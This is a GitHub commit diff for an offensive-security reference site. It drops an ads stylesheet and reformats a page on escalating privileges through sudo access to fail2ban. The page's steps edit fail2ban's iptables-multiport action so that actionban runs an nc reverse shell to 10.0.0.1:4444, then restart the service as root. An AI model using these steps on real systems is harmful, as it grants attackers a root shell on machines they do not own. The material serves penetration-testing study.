Skip to content

Commit 0ae5ea3

Browse files
committed
updated to the Carbon Cover format
1 parent 8a3cc6a commit 0ae5ea3

File tree

3 files changed

+30
-117
lines changed

3 files changed

+30
-117
lines changed

src/_includes/layouts/base.vto

Lines changed: 0 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -9,7 +9,6 @@
99
{{# <meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; img-src 'self' data: w3.org/svg/2000 http://localhost:8888"> #}}
1010
<link rel="icon" type="image/x-icon" href="/assets/img/favicon.ico">
1111
<link rel="stylesheet" href="/styles.css">
12-
<link rel="stylesheet" href="/css/carbonads.css">
1312
{{ if url.includes("/exploit/") }}
1413
<script type="text/javascript" src="/js/exploit.js"></script>
1514
{{ /if }}

src/assets/css/carbonads.css

Lines changed: 0 additions & 86 deletions
This file was deleted.

src/exploit/linux/privilege-escalation/sudo/sudo-fail2ban-privilege-escalation.md

Lines changed: 30 additions & 30 deletions
Original file line numberDiff line numberDiff line change
@@ -4,7 +4,7 @@ description: Sudo fail2ban command might be vulnerable to privilege escalation (
44
tags:
55
- Privilege Escalation
66
refs:
7-
date: 2023-02-05
7+
date: 2024-09-16
88
draft: false
99
---
1010

@@ -67,47 +67,47 @@ Specifically, insert a payload to one of the following values.
6767

6868
Here update the value of **actionban** which triggers ban on multiple login attempts.
6969

70-
Method 1
70+
- **Method 1**
7171

72-
Copy **iptables-multiport.conf** to the current user's home directory.
72+
Copy **iptables-multiport.conf** to the current user's home directory.
7373

74-
```sh
75-
ls -al /etc/fail2ban/action.d/iptables-multiport.conf
76-
# copy this file into the home directory for editing the content
77-
cp /etc/fail2ban/action.d/iptables-multiport.conf ~
78-
```
79-
Now modify the file.
74+
```sh
75+
ls -al /etc/fail2ban/action.d/iptables-multiport.conf
76+
# copy this file into the home directory for editing the content
77+
cp /etc/fail2ban/action.d/iptables-multiport.conf ~
78+
```
79+
Now modify the file.
8080

81-
```sh
82-
vim ~/iptables-multiport.conf
83-
```
81+
```sh
82+
vim ~/iptables-multiport.conf
83+
```
8484

85-
We insert a reverse shell payload into the **actionban**.
85+
We insert a reverse shell payload into the **actionban**.
8686

87-
```sh
88-
actionban = /usr/bin/nc 10.0.0.1 4444 -e /bin/bash
89-
```
87+
```sh
88+
actionban = /usr/bin/nc 10.0.0.1 4444 -e /bin/bash
89+
```
9090

91-
Then move back the config file to the original one.
91+
Then move back the config file to the original one.
9292

93-
```sh
94-
mv ~/iptables-multiport.conf /etc/fail2ban/action.d/iptables-multiport.conf
95-
```
93+
```sh
94+
mv ~/iptables-multiport.conf /etc/fail2ban/action.d/iptables-multiport.conf
95+
```
9696

97-
Method 2
97+
- **Method 2**
9898

99-
Fail2ban parses .local files in the action.d directory after the .conf files, and any settings in the .local files override user changes made in the .conf files.
99+
Fail2ban parses .local files in the action.d directory after the .conf files, and any settings in the .local files override user changes made in the .conf files.
100100

101-
```sh
102-
# cp iptables-multiport.conf in the same directory with .local extension iptables-multiport.local
103-
cp /etc/fail2ban/action.d/iptables-multiport.conf /etc/fail2ban/action.d/iptables-multiport.local
104-
```
101+
```sh
102+
# cp iptables-multiport.conf in the same directory with .local extension iptables-multiport.local
103+
cp /etc/fail2ban/action.d/iptables-multiport.conf /etc/fail2ban/action.d/iptables-multiport.local
104+
```
105105

106-
We insert a reverse shell payload into the **actionban**.
106+
We insert a reverse shell payload into the **actionban**.
107107

108-
```sh
109-
actionban = /usr/bin/nc 10.0.0.1 4444 -e /bin/bash
110-
```
108+
```sh
109+
actionban = /usr/bin/nc 10.0.0.1 4444 -e /bin/bash
110+
```
111111

112112
To apply the new configuration, restart it as root.
113113

0 commit comments

Comments
 (0)